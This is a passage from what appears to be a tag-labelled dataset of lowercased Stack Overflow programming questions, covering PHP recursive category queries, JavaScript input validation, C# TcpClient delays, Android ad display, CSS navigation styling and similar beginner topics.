/&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;          &lt;activity android:name= .favouritesactivity &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;          &lt;activity android:name= .transactionsactivity &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;          &lt;activity android:name= .feedbackactivity &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;          &lt;activity android:name= .developeractivity &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;      &lt;/application&gt;  &lt;/manifest&gt; </code></pre>,android
get categories (multiple levels)  i am making a script which will load all categories from a database. i just don t know how i can do this in a way which is shorter. i am trying to figure out a way in which i can theoretically load infinite levels of categories.   <pre><code>$stmt1 = $db-&gt;query( select * from rubriek where hoofdrubriek is null ); while($row1 = $db-&gt;fetch($stmt1)) {     $stmt2 = $db-&gt;query( select * from rubriek where hoofdrubriek =    . $row1[ rubrieknummer ] .    );     while($row2 = $db-&gt;fetch($stmt2))     {           $stmt3 = $db-&gt;query( select * from rubriek where hoofdrubriek =    . $row2[ rubrieknummer ] .    );         while($row3 = $db-&gt;fetch($stmt3))         {               $stmt4 = $db-&gt;query( select * from rubriek where hoofdrubriek =    . $row3[ rubrieknummer ] .    );             while($row4 = $db-&gt;fetch($stmt4))             {                 $row3[ category3 ][] = array(                      category4_name     =&gt; ucfirst(strtolower($row4[ rubrieknaam ]))                  );             }              $row2[ category3 ][] = array(                  category3_name     =&gt; ucfirst(strtolower($row3[ rubrieknaam ]))                   category4          =&gt; $row2[ category4 ]              );         }          $row1[ category2 ][] = array(              category2_name     =&gt; ucfirst(strtolower($row2[ rubrieknaam ]))               category3          =&gt; $row2[ category3 ]          );     }      $catagories[] = array(          category_name  =&gt; ucfirst(strtolower($row1[ rubrieknaam ]))           category2      =&gt; $row1[ category2 ]            );       } </code></pre>   i would like to have some ideas on how to make this happen. (i am using a little template system that processes the array that is being made)    edit:    thanks to ivijan stefan stipić i was able to solve this. this is what i ended up doing   <pre><code>$categories = build_category(0); </code></pre>   and the function:   <pre><code>function build_category($parent  $row = null) {     global $db;      // initialise array     $data = array();      // basic sql statement     $sql =  select * from rubriek ;      // where condition based on $row     if(is_null($row))     {         $where =   where hoofdrubriek is null ;     }     else      {         $where =   where hoofdrubriek =    . $row[ rubrieknummer ] .    ;     }      // execute query     $stmt = $db-&gt;query($sql . $where);      // next level parent     $next = $parent + 1;      // fetch results     while($row = $db-&gt;fetch($stmt))     {         $data[] = array(              category  . $parent .  _name   =&gt; ucfirst(strtolower($row[ rubrieknaam ]))               category  . $next              =&gt; build_category($next  $row)          );     }      // return data     return $data; } </code></pre>,php
validate number in javascript  the code is below. i have a user input a radius and it display a area of a circle. i need to make sure the user does not input negative or 0 radius. what should i add to make this work    <pre><code>&lt;html&gt;   &lt;head&gt; &lt;title&gt;find the area and circumference of a circle&lt;/title&gt;  &lt;/head&gt;   &lt;body&gt;  &lt;script language= javascript &gt;   function calculatearea(){     var radius =document.form1.txtradius.value;     document.write( &lt;p&gt;the area of the circle is   + (radius * radius * math.pi) +                    &lt;/p&gt; );  } &lt;/script&gt; &lt;form name=form1&gt;     enter the radius of circle:    &lt;input type= text  name= txtradius  size=10&gt;    &lt;br&gt;    &lt;input type= button  value= calculate  onclick= calculatearea(); &gt;   &lt;/form&gt;  &lt;/script&gt;  &lt;/body&gt;    &lt;/html&gt; </code></pre>,javascript
signing .net assemblies: is it necessary and what does the added cost get me   i have an assembly written in .net 3.5. i distributed this file to a bunch of people and so far  no problems unless they try to load the assembly (a dll) from a network share. then they get security exceptions but this is easily fixed by changing zone security of the local intranet.    currently i am not signing my code with any form of certificate.   <ol> <li>should i sign my assemblies </li> <li>what do i get for the $$$ i pay verisign for signing my code </li> <li>will a signed assembly eliminate the security exception encountered when loading the assembly from a network share </li> </ol>,.net
c# tcpclient send method takes too long sometimes  if i m sending data too fast the .send method takes really long. i m talking up to 20 ms here  which is not an option for my application. what causes this  and how can i avoid it     some test code that reproduces the problem: test client:   <pre><code>            var lol = new tcpclient();         lol.connect(ipaddress.parse( 123.123.123.123 )  1234);          while (true)         {             var watchy = stopwatch.startnew();             lol.client.send(new byte[] {123  34  34  98  45  87  34  78  45  76  45  23  154  146  1  1  1  11  66}); // random test data             watchy.stop();              console.writeline(watchy.elapsed.totalmilliseconds);              if (watchy.elapsed.totalmilliseconds &gt; 1)                 console.readline();         } </code></pre>   test server:   <pre><code>            var listener = new tcplistener(ipaddress.any  1234);         listener.start();         var clients = new list&lt;tcpclient&gt;();          while (true)         {             if (listener.pending())             {                 clients.add(listener.accepttcpclient());                 console.writeline( client connected! );             }              foreach (var tcpclient in clients)             {                 var data = new byte[tcpclient.available];                 tcpclient.client.receive(data);                 console.writeline(string.join(     data));             }         } </code></pre>   i think the receiver can t process the data fast enough. but how can i check if i m currerntly able to send data without the delay  i m sending to multiple clients  which means that other clients will experience lag because one client wasn t able to process the data fast enough,c#
how to count the number of letter in a string and remove duplicate letter in output  hey i am  beginner in java programming and i have written a program to count the number of occurrence in string and i want to improve this code.   <pre><code>import java.io.*; public class letters {     public static void main(string let[]) throws ioexception     {        inputstreamreader r = new inputstreamreader(system.in);         bufferedreader b = new bufferedreader(r);         system.out.println( enter the sentense );         string s = b.readline();         string store=  ;         string store1=  ;          for(int i=0;i&lt;=s.length()-1;i++)         {             int count =0;             store=s.charat(i)+  ;              for(int j=0;j&lt;=s.length()-1;j++)             {                 store1=s.charat(j)+  ;                 if(store.equals(store1))                 {                     ++count;                 }             }             system.out.println(store+  :  +count);         }     } } </code></pre>   and output i am getting for this is    <pre><code>enter the sentense ddooooonnneeeeee d : 2 d : 2 o : 5 o : 5 o : 5 o : 5 o : 5 n : 3 n : 3 n : 3 e : 6 e : 6 e : 6 e : 6 e : 6 e : 6 </code></pre>   but i want to get my  output like this    <pre><code>enter the sentense ddooooonnneeeeee d:2 o:5 n:3 e:6 </code></pre>   any suggestion how can i do it.,java
getting unique digits from a specific integer  hello so i need to create a function in c that enables one  to get how many  unique digits are inside a number example: 1224553. the desired output would be :    there are 5 unique digits   they are as follow  5 3 2 4 1  thus a unique number when displaying shouldn t repeat itself and i m stuck at achieving that. this is my code for the function.  outcome should be as the following :  example : 13454 there is/are 4 unique digit(s) the unique digit(s) would be 1 3 4 5,c
storing associations in variables  hey i am trying to make a method polymorphic so that it can access different models associations  but treat them the same   <pre><code>module unitable      # adds new units without duplication     def add_units(type  units = {})          if type.downcase ==  army              relationships = self.members         elsif type.downcase ==  character              relationships = self.owns         end          units.each do |name  amount|              unit = unit.find_by(name: name)             if relationships.where(unit_id: unit.id).first.nil                  relationships.create(unit_id: unit.id  amount: amount) #&lt;--- this is where the error occurs             else                 relationship = relationships.find_by(unit_id: unit.id)                  original_amount = relationship.amount                 new_amount = amount + original_amount                 relationship.update_attribute(:amount  new_amount)             end         end     end  end </code></pre>   this throws   <pre><code>error:  current transaction is aborted  commands ignored until end of transaction block </code></pre>   this is the root method   <pre><code>def gen_starting_units     credit = 9     #transaction do         units = unit.tagged_with([ #{race}    1 ]).sample(2)         while credit &gt; 0             unit = units.sample             if unit.cost &lt;= credit                 self.army.add_units( army   unit.name =&gt; 1)                 credit -= unit.cost             end                                  end              #end end </code></pre>,ruby-on-rails
what is the correct return type for c function which returns different data types  i was once asked to write a function which will return a pointer to some data in the memory upon some successful condition else it should return  -1 . in this case  what would be the correct return type. if i only had to return the data then i would have char * as the return type of the function myfunction. but in this case  i may return -1 has return type.   <pre><code>&lt;what-type&gt; myfunction() {  char *data;  if (some condition true)   return data; else    return -1 }  int main () {   myfunction  } </code></pre>,c
vertical merge of two columns into a single one  i have three columns as in the below image  and i would like to merge the two columns <code>values1</code> and <code>values2</code> into a single one.  what is the sql code to do it     <a href= https://i.stack.imgur.com/pxsdo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pxsdo.png  alt= enter image description here ></a>,mysql
how can i create nodes with different fields (angularjs)   i want to create node with diffrent fields here are the index.html and the app.js    <strong>index.html</strong>   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;link rel= stylesheet  href= css/bootstrap/bootstrap.min.css &gt;     &lt;link rel= stylesheet  href= css/bootstrap/bootstrap-theme.min.css &gt;     &lt;link rel= stylesheet  href= css/nodecss.css &gt; &lt;/head&gt; &lt;body ng-app= webapp &gt;      &lt;h1&gt;module opale&lt;/h1&gt;     titre&lt;input type= text  placeholder= titre &gt;&lt;br /&gt;     metadonnées&lt;input type= text  placeholder= titre &gt;&lt;br /&gt;     objectif du module&lt;input type= text  placeholder= objectif &gt;      &lt;script type= text/ng-template   id= tree_item_opale.html &gt;         &lt;button class= addchild  ng-click= addchild(data) &gt;addchild&lt;/button&gt;         &lt;button ng-show= data.parent  ng-click= addsibling(data) &gt;addsibling&lt;/button&gt;         &lt;button class= delete  ng-click= delete(data)  ng-show= data.nodes.length &gt; 0 &gt;delete children&lt;/button&gt;          &lt;div&gt;&lt;h3&gt;division&lt;/h3&gt;             titre division&lt;input type= text  /&gt;&lt;br /&gt;             titre court&lt;input type= text  /&gt;&lt;br /&gt;         &lt;/div&gt;          &lt;div&gt;&lt;h4&gt;grain de contenu&lt;/h4&gt;             titre&lt;input type= text  /&gt;&lt;br /&gt;             titre court&lt;input type= text  /&gt;&lt;br /&gt;             &lt;h5&gt;information&lt;/h5&gt;             titre&lt;input type= text  /&gt;&lt;br /&gt;             &lt;textarea rows= 4  cols= 70 &gt;&lt;/textarea&gt;         &lt;/div&gt;         &lt;ul&gt;             &lt;li ng-repeat= data in data.nodes  ng-include=  tree_item_opale.html  &gt;&lt;/li&gt;         &lt;/ul&gt;     &lt;/script&gt;          &lt;ul ng-controller= treectrl &gt;             &lt;li ng-repeat= data in tree  ng-include=  tree_item_opale.html  &gt;&lt;/li&gt;         &lt;/ul&gt;      &lt;script type= text/javascript  src= https://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= http://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular-sanitize.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= js/app.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= js/rightclickdirective.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= js/plugins/jquery/jquery.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= js/plugins/jquery/jquery-ui.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= js/plugins/bootstrap/bootstrap.min.js &gt;&lt;/script&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>app.js</strong>   <pre><code>angular.module( webapp   [ ngsanitize   directive.contextmenu ])       .controller( treectrl   [ $scope   function($scope) {      $scope.delete = function(data) {         data.nodes = [];     };     $scope.addsibling = function(data) {         var post = data.parent.nodes.length + 1;         var newname = data.parent.name +  -  + post;         data.parent.nodes.push({name: newname nodes: []  parent: data.parent});     };      $scope.addchild = function(data) {         var post = data.nodes.length + 1;         var newname = data.name +  -  + post;         data.nodes.push({name: newname nodes: []  parent: data});     };     $scope.tree = [{name:  node   nodes: []}];  }]); </code></pre>   what i hope to attain is when i create new child or sibling  i wanna have to choose between their forms   once    <pre><code>&lt;div&gt;&lt;h3&gt;division&lt;/h3&gt;  titre division&lt;input type= text  /&gt;&lt;br /&gt;  titre court&lt;input type= text  /&gt;&lt;br /&gt; &lt;/div&gt;  </code></pre>   once   <pre><code>&lt;div&gt;  &lt;h4&gt;grain de contenu&lt;/h4&gt;  titre&lt;input type= text  /&gt;&lt;br /&gt;  titre court&lt;input type= text  /&gt;&lt;br /&gt;  &lt;h5&gt;information&lt;/h5&gt;  titre&lt;input type= text  /&gt;&lt;br /&gt;  &lt;textarea rows= 4  cols= 70 &gt;&lt;/textarea&gt; &lt;/div&gt; </code></pre>   <strong>here is my jsfiddle:</strong><br> <a href= http://jsfiddle.net/taxr14jr/4/  rel= nofollow >http://jsfiddle.net/taxr14jr/4/</a>    in my example i add both of them at the same time <strong>division</strong> &amp; <strong>graincontenu</strong>   i don t know how to separate them !!,angularjs
trim first string columns in objective-c  got a string like: <code>aa bb cc dd ee</code> (space separated)  how to remove <code>aa bb cc</code> first 3 columns in obj-c in simple way,objective-c
argv error when integrating mwfeedparser  i am trying desperately to integrate mwfeedparser in my application. my application uses storyboards  and one uiviewcontroller should show the table view with the rss. i copied all the files from the mwfeedparser to my project by drag and drop. i then added them to the compile source section and made sure that they where compatible to arc. then in my stroyboard i dragged a uitableviewcontroller and set it to rootviewcontroller class.     the result:    as soon as the app launches i get this error:    <img src= https://i.stack.imgur.com/pbhoe.png  alt= enter image description here >    i get the error even if there is no uitableviewcontroller in the storyboard linked to that class. any ideas,ios
how to add dynamically textview..   i have this code in android and i want to display the value of both username and password. i already used the setcontentview but it only display one of the textview. can someone help me     <pre><code>    intent intent = getintent();     string message = intent.getstringextra(mainactivity.message);     string message2 = intent.getstringextra(mainactivity.message2);       textview username = new textview(this);     textview password = new textview(this);     username.settext(message);     password.settext(message2); </code></pre>,android
update statements containing multiple sets  i m a bit confused on why i m seeing a difference between the two statements. i m trying to simply increment an int column by 1  so setting values to 1  2  3  4  etc.:    query #1 produces the desired result:   <pre><code>declare @a int set @a = 0 update #jc_temp  set num = @a  @a=@a+1   </code></pre>   query #2 sets all rows to 0:   <pre><code>declare @a int set @a = 0 update #jc_temp  set num = @a set @a=@a+1   </code></pre>   obviously i m missing something here  but to the naked eye they appear to be the same. does the local variable rollback somehow in the 2nd query,sql
passing value obtained in one function to another function. c language  i am writing a program  that is encrypting a number  entered by user. encryption steps are performed by functions  which i have to write. the problem is that i have to use value obtained in one function  in the next function. here is what i am trying to do: first function reads an integer. second adds 4 to every digit of that integer. and the problem is that how to use the integer that is entered in the first function  in the second function.   <pre><code> void input(int *num) {   int numin;   printf( please enter an integer greater than 99999:  );   scanf( %d   &amp;numin);   while (numin&lt;99999)     {       printf( incorrect input.\n );       printf( please enter an integer greater than 99999:  );       scanf( %d   &amp;numin);     }       num=&amp;numin;   printf( the number entered is %d\n   numin);   return; } int add4(int num) {   int a b=1 numplus4;   int i=-1;   for (numplus4=0; b==0;)     {       a=num%10;       b=num/10;       num=b;       a+=4;       if (a&gt;9)     a-=10;       i++;       numplus4+=a*pow(10  i);     }   num=numplus4;   printf( %d\n   num);   return num; } </code></pre>   i have googled on this topic: but all i got didnot help me  most of answers are for javascripts  but i am using c.,c
c# convert object in a list to another object  is it possible to assign list of objects to another list of objects that takes it as a constructor     eg.   <pre><code>public class personorm{     public personorm(person p){ /* convert */ }      public int personid { get; set; }     /* other properties here */ }  public class person{             public int personid { get; set; }     /* other properties here */ } </code></pre>   how do i convert <code>person</code> to <code>personorm</code> using the constructor when they are in a list like this:   <pre><code>list&lt;person&gt; people = getpeople(); list&lt;personorm&gt; peopleorm = new list&lt;person&gt;(people); // is something like this possoble  </code></pre>,c#
meaning of three dot (...) in php  what is the meaning of three dot (...) in php      while i am installing magento 2 in my sever i got an error. investigate the code and found that there is a three dot (...)  which is producing the error. i mentioned the code below   <pre><code>return new $type(...array_values($args)); </code></pre>,php
using execlp system call with shell metacharacters in the arguments in c  program : list all c files in the current folder using <code>execlp()</code> system call:   <pre><code>#include &lt;stdio.h&gt; #include &lt;unistd.h&gt;  int main() {     printf( before execl\n );     execlp( ls   ls   *.c  null); // this should print all c files in the current folder.     return 0; } </code></pre>   program output:   <pre><code>before execl ls: cannot access *.c: no such file or directory </code></pre>   whenever i use  <code>*</code>  in the search pattern  i am getting a similar kind of error. please suggest some appropriate solution.,c
microsoft.practices.compositeweb.enterpriselibrary.dll for entlib 5.0.505.0  anyone know where i can find the latest version of the web application block that is compiled against or using entlib 5.0.505.0.,.net
how do i listen for the blur event on the entire form   <code>&lt;input&gt;</code> fields have an <code>onblur</code> event that you can listen to to detect when it s no longer in focus. how would i know whether the user simply pressed tab and went to the next <code>&lt;input&gt;</code> as opposed to clicking completely outside the form     for context  i m trying to trigger validation &amp; save when the user moves away from the form  but i don t want to attempt to do it before they ve had a chance to fill the whole thing out (some fields depend on others).    in my particular example  i m actually using <code>contenteditable</code> <code>&lt;td&gt;</code>s  but they still have the <code>onblur</code> event  so i m looking to do it on the parent <code>&lt;tr&gt;</code>.,javascript
how to copy-paste a file that already exists   i use this simple line of code to copy-paste a file:   <pre><code>file.copy(filename  temp_file); </code></pre>   now if a file already exists  i want to rename it prior to copying into some name that is guaranteed not to exist in destination folder by adding some name extension like  copy1   copy2 ....same as windows does it when doing copy-paste through explorer. how to do this programatically,c#
nsmutablearray inside settitle  i ve stored 4 unique numbers inside an nsmutablearray from 1-4. i ve done that by using this code:   <pre><code>    storearray = [[nsmutablearray alloc] init];     bool record = no;     int x;      for (int i=1; [storearray count] &lt; 4; i++) //loop for generate different random values     {         x = arc4random() % 4;//generating random number         if(i==1)//for first time        {             [storearray addobject:[nsnumber numberwithint:x]];         }         else         {             for (int j=0; j&lt;= [storearray count]-1; j++)             {                if (x ==[[storearray objectatindex:j] intvalue])                     record = yes;             }              if (record == yes)             {                 record = no;             }             else             {                 [storearray addobject:[nsnumber numberwithint:x]];             }         }     } </code></pre>   i can then print the numbers out using storearray[1] and so on.    the problem is i want to print the numbers inside this.   <pre><code>[option1 settitle:questions[r][storearray[0]] forstate: uicontrolstatenormal]; [option2 settitle:questions[r][storearray[1]] forstate: uicontrolstatenormal]; [option3 settitle:questions[r][storearray[2]] forstate: uicontrolstatenormal]; [option4 settitle:questions[r][storearray[3]] forstate: uicontrolstatenormal]; </code></pre>   how can i do this   cause i when i do this i get thread sigbrt error,objective-c
uitableview in arabic is not working  i am having an issue with the header and the cellforrow in arabic codes below.    the codes work in english.    can anyone see what i am doing wrong and resolve the problem      thanks.    unfortunately i am unable to post the image due to the 10 reputation things..    e.g from the uitableview    a    b    abha    abu dhabi    c    bahrain    beirut    d   <pre><code>- (void)setupindexdata:objects {      self.collation = [uilocalizedindexedcollation currentcollation];     nsinteger index  sectiontitlecount = [[self.collation sectiontitles] count];     nsmutablearray *newsectionarray = [[nsmutablearray alloc] initwithcapacity:sectiontitlecount];      for (index = 0; index &lt; sectiontitlecount; index++) {         [newsectionarray addobject:[nsmutablearray array]];     }      for (nsstring *airportlist in objects) {         nsinteger sectionnumber = [self.collation sectionforobject:airportlist collationstringselector:@selector(city)];         [[newsectionarray objectatindex:sectionnumber] addobject:airportlist];     }      for (index = 0; index &lt; sectiontitlecount; index++) {         nsmutablearray *airportlistarrayforsection = [newsectionarray objectatindex:index];         [newsectionarray replaceobjectatindex:index withobject:[self.collation sortedarrayfromarray:airportlistarrayforsection collationstringselector:@selector(city)]];     }      self.sectionarray = newsectionarray;     [self.table reloaddata]; }  - (nsinteger)numberofsectionsintableview:(uitableview *)tableview {     return [[[self.collation sectiontitles] sortedarrayusingselector:@selector(localizedcaseinsensitivecompare:)] count]; }  - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {     nsmutablearray *airportlistsinsection = (self.sectionarray)[section];     return [airportlistsinsection count]; }  - (nsstring *)tableview:(uitableview *)tableview titleforheaderinsection:(nsinteger)section {    return [[[self.collation sectiontitles] sortedarrayusingselector:@selector(localizedcaseinsensitivecompare:)] objectatindex:section]; }  - (nsarray *)sectionindextitlesfortableview:(uitableview *)tableview {     return [[self.collation sectionindextitles] sortedarrayusingselector:@selector(localizedcaseinsensitivecompare:)]; }  - (nsinteger)tableview:(uitableview *)tableview sectionforsectionindextitle:(nsstring *)title atindex:(nsinteger)index {     return [self.collation sectionforsectionindextitleatindex:index]; }  - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     ....     aiports *airportlists = (self.sectionarray)[indexpath.section][indexpath.row];     cell.textlabel.text = airportlists.city; } </code></pre>,ios
how to use live() to detect when an element attribute switchs from display block to display none   i m in a situation where i have to use jquery 1.6. the web sites jquery file type is out of my control. i have the following html element with attributes on it...   <pre><code>&lt;div id= myitem  style= display: none; position: absolute;  role= status  aria-hidden= true &gt; ... &lt;/div&gt; </code></pre>   every time i select an option from a dropdown menu  the display property for the code above will switch to display:block for any time between 5 - 10 seconds.  it varies.  then switch back to display:none.    i want to be able to use live() to detect when that display property goes back to display:none.  is that possible with jquery  i need do this from scratch because i do not have access to the original js function that controls html element.    is this possible  (i.e. simply doing a console.log( the display is now hidden again ))     thanks for any advice,jquery
html basic - validation  i know this is a really basic question...    are these the same for close -    <pre><code> &lt;iframe src= includes/captcha/captcha.php &gt;&lt;/iframe&gt;  &lt;iframe src= includes/captcha/captcha.php /&gt; </code></pre>   and   <pre><code> &lt;div id= container_join_messages  class= shadow &gt;&lt;/div&gt;  &lt;div id= container_join_messages  class= shadow /&gt; </code></pre>   just wanting to see if i can drop the extra tag at the end and still validate.    using this doc type   <pre><code> &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; </code></pre>,html
a value for my html script read from a local text file <pre><code>&lt;div id= container  style= width:100%; height:50px; border:5px solid black; &gt; &lt;div id= progress-bar  style= width:67%;    background-color:orange;    height:50px; &gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   where it says  style= width:67%  i want to have the 67% read from a local text file  for a script in progress. how do i go about this,html
angularjs code to navigate to another page in buttonclick  angularjs code to navigate to another page on a button click event. i have catch the button click event but cannot navigate to another page. the following is my code: html file:   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;  &lt;head&gt;  &lt;script src= js/angular.min.js &gt;&lt;/script&gt;  &lt;script src= js/app/home.js &gt;&lt;/script&gt;  &lt;/head&gt;  &lt;body ng-app= myapp &gt;      &lt;div ng-controller= testctrl &gt;        &lt;button ng-click= clicked() &gt;click me!&lt;/button&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>   and the javascript file is:   <pre><code>var vlogin = angular.module( myapp  []);  vlogin.controller( testctrl   [ $scope  function($scope) {      $scope.clicked = function(){             $location.path( /test.html );     }  }]); </code></pre>,angularjs
how to get weather report of a my current location  i need to get weather report of my current location.    for example if i am at xyz location then i need to get weather report of xyz location and if i am in abc location  i need to get weather report of abc location.    i heard that apple does n t any services regarding weather reports.for this we need to use third party services.    is there any free weather report services to use in my application.    can any one please help me.    thank u in advance.,iphone
getting indexes from two-dimensional array  how can i get <code>int a = 400; int b = 100;</code> from 2-dimensional array 1000 x 1000 in java  for example  <code>mass[400][100]</code> (row 400  column 100)  i found element in array and need numbers of his row/line and column. how can i get this numbers  thanks.,java
clearing all richtextboxes on a form (vb.net)  i have a form set up with 25 richtextbox controls. i need to clear them all on a button click (get rid of all text inside them).    i hav tried accessing the controls programmatically but can t. i just need every richtextbox on the form to clear.    any code samples would be great  thank you.    update: i wrote this:   <pre><code>    for each ocontrol as control in me.controls         if typeof ocontrol is richtextbox then             ocontrol.clear()         end if     next </code></pre>   but for some reason it doesn t work.,.net
if something = false display ads  i have a protected boolean as follows   <pre><code>protected boolean iskeyinstalled(context context) {           // the packagename of the  key  app           string propackage =  com.funhouse.mytimmieskey ;            // get the package manager           final packagemanager pm = context.getpackagemanager();            // get a list of installed packages           list&lt;packageinfo&gt; list = pm.getinstalledpackages(packagemanager.get_disabled_components);            // let s iterate through the list           iterator&lt;packageinfo&gt; i = list.iterator();           while(i.hasnext()) {             packageinfo p = i.next();             // check if propackage is in the list and whether that package is signed             //  with the same signature as this package             if((p.packagename.equals(propackage)) &amp;&amp;                (pm.checksignatures(context.getpackagename()  p.packagename) == packagemanager.signature_match))               return true;           }           return false;         } </code></pre>   i m trying to get it to show ads if false   <pre><code>if(iskeyinstalled(null) != false){             //admob banner             linearlayout parent = (linearlayout) findviewbyid(r.id.adveiw);             adview ad = new adview(this  adsize.banner   a14db2c31f42ef0 );             parent.addview(ad);             adrequest r = new adrequest();             r.settesting(false);             ad.loadad(r);         } </code></pre>   i have no code errors but this keeps cashing my app.    here is logcat   <pre><code>05-11 00:18:37.253: info/activitymanager(52): starting activity: intent { act=android.intent.action.main cat=[android.intent.category.launcher] flg=0x10200000 cmp=com.funhouse.mytimmies/.timsmain bnds=[125 410][235 528] } 05-11 00:18:37.433: info/activitymanager(52): start proc com.funhouse.mytimmies for activity com.funhouse.mytimmies/.timsmain: pid=1225 uid=10030 gids={3003} 05-11 00:18:37.814: debug/ddm-heap(1225): got feature list request 05-11 00:18:38.944: debug/androidruntime(1225): shutting down vm 05-11 00:18:38.964: warn/dalvikvm(1225): threadid=3: thread exiting with uncaught exception (group=0x4001b188) 05-11 00:18:38.974: error/androidruntime(1225): uncaught handler: thread main exiting due to uncaught exception 05-11 00:18:39.044: error/androidruntime(1225): java.lang.runtimeexception: unable to start activity componentinfo{com.funhouse.mytimmies/com.funhouse.mytimmies.timsmain}: java.lang.nullpointerexception 05-11 00:18:39.044: error/androidruntime(1225):     at android.app.activitythread.performlaunchactivity(activitythread.java:2496) 05-11 00:18:39.044: error/androidruntime(1225):     at android.app.activitythread.handlelaunchactivity(activitythread.java:2512) 05-11 00:18:39.044: error/androidruntime(1225):     at android.app.activitythread.access$2200(activitythread.java:119) 05-11 00:18:39.044: error/androidruntime(1225):     at android.app.activitythread$h.handlemessage(activitythread.java:1863) 05-11 00:18:39.044: error/androidruntime(1225):     at android.os.handler.dispatchmessage(handler.java:99) 05-11 00:18:39.044: error/androidruntime(1225):     at android.os.looper.loop(looper.java:123) 05-11 00:18:39.044: error/androidruntime(1225):     at android.app.activitythread.main(activitythread.java:4363) 05-11 00:18:39.044: error/androidruntime(1225):     at java.lang.reflect.method.invokenative(native method) 05-11 00:18:39.044: error/androidruntime(1225):     at java.lang.reflect.method.invoke(method.java:521) 05-11 00:18:39.044: error/androidruntime(1225):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:860) 05-11 00:18:39.044: error/androidruntime(1225):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:618) 05-11 00:18:39.044: error/androidruntime(1225):     at dalvik.system.nativestart.main(native method) 05-11 00:18:39.044: error/androidruntime(1225): caused by: java.lang.nullpointerexception 05-11 00:18:39.044: error/androidruntime(1225):     at com.funhouse.mytimmies.timsmain.iskeyinstalled(timsmain.java:76) 05-11 00:18:39.044: error/androidruntime(1225):     at com.funhouse.mytimmies.timsmain.oncreate(timsmain.java:27) 05-11 00:18:39.044: error/androidruntime(1225):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1047) 05-11 00:18:39.044: error/androidruntime(1225):     at android.app.activitythread.performlaunchactivity(activitythread.java:2459) 05-11 00:18:39.044: error/androidruntime(1225):     ... 11 more 05-11 00:18:39.095: info/process(52): sending signal. pid: 1225 sig: 3 </code></pre>,android
css - why the content inserted by :before put the navigation item below the normal position  the navigation bar looks like this   <pre><code>      home login about </code></pre>   based on suggestion on this topic: <a href= https://stackoverflow.com/questions/3570480/css-how-to-add-dot-between-navigation-title >css - how to add dot between navigation title</a>    i add the following css rule to append a * to the front of each item.   <pre><code>.twocolfixrt #nav-primary .nav li.libar:before {     content: * ; }    &lt;div id= nav-primary &gt;    &lt;div class= wrapper &gt;     &lt;ul class= nav &gt;      &lt;li class= tab  id= nav-home &gt;       &lt;a href= # &gt;&lt;span&gt;home&lt;/span&gt;&lt;/a&gt;      &lt;/li&gt;                 ...      &lt;/ul&gt;    &lt;/div&gt;   &lt;/div&gt; </code></pre>   now the navigation bar looks like this   <pre><code>   home   *   about         login </code></pre>   as you can see  the inserted * pushes the item below.    how to fix this issue     here is the complete html file for testing:   <pre><code>&lt;!doctype html&gt;  &lt;html lang= en &gt; &lt;head&gt;  &lt;title&gt;edit my profile | linkedin&lt;/title&gt;  &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt;     &lt;style type= text/css &gt;      #header {         margin-bottom:15px;     }      #header  #body  #footer {         clear:both;         margin:0 auto;         max-width:95%;         min-width:980px;         width:98em;     }      body {         background-color:#ffffff;     }      body {         border:0 none;         color:#000000;         font:62.5%/1.2 arial helvetica  nimbus sans l  sans-serif;         margin:0;         outline:0 none;         padding:0;     }          html  body  div  span  applet  object  iframe  h1  h2  h3  h4  h5  h6  p  blockquote  pre  a  abbr  acronym  address  big  cite  code  del  dfn  em  font  img  ins  kbd  q  s  samp  small  strike  strong  sub  sup  tt  var  dl  dt  dd  ol  ul  li  fieldset  form  label  legend  table  caption  tbody  tfoot  thead  tr  th  td {             border:0 none;             font-family:inherit;             font-size:100%;             font-style:inherit;             font-weight:inherit;             margin:0;             outline:0 none;             padding:0;             vertical-align:baseline;         }          #nav-utility {             margin:5px 8px;             position:relative;             text-align:right;         }                 #nav-utility p {             color:#666666;             font-size:110%;             padding-right:2px;             text-decoration: none;         }          #nav-utility a {             color: #666666;         }          #nav-utility ul  #nav-utility li  #nav-utility p {             display:inline;         }         #header {             width: 970px;             margin-left: auto ;             margin-right: auto ;         }         #header ul  #header li  #header p  #header fieldset {             border:medium none;             list-style-type:none;             margin:0;             padding:0;         }           #nav-utility li {             color:#666666;             font-size:110%;             padding-right:2px;         }          ol  ul {             list-style:none outside none;         }          #nav-utility ul  #nav-utility li  #nav-utility p {             display:inline;         }          #header ul  #header li  #header p  #header fieldset {             border:medium none;             list-style-type:none;             margin:0;             padding:0;         }          